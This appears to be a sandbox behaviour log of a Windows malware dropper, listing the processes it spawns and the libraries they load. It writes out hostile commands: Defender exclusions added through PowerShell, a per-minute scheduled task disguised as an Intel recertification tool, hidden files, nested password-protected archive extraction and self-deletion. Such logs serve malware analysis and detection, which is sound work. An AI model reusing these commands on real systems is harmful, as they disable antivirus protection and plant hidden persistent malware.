Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe "C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe "C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe"
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: iertutil.dll
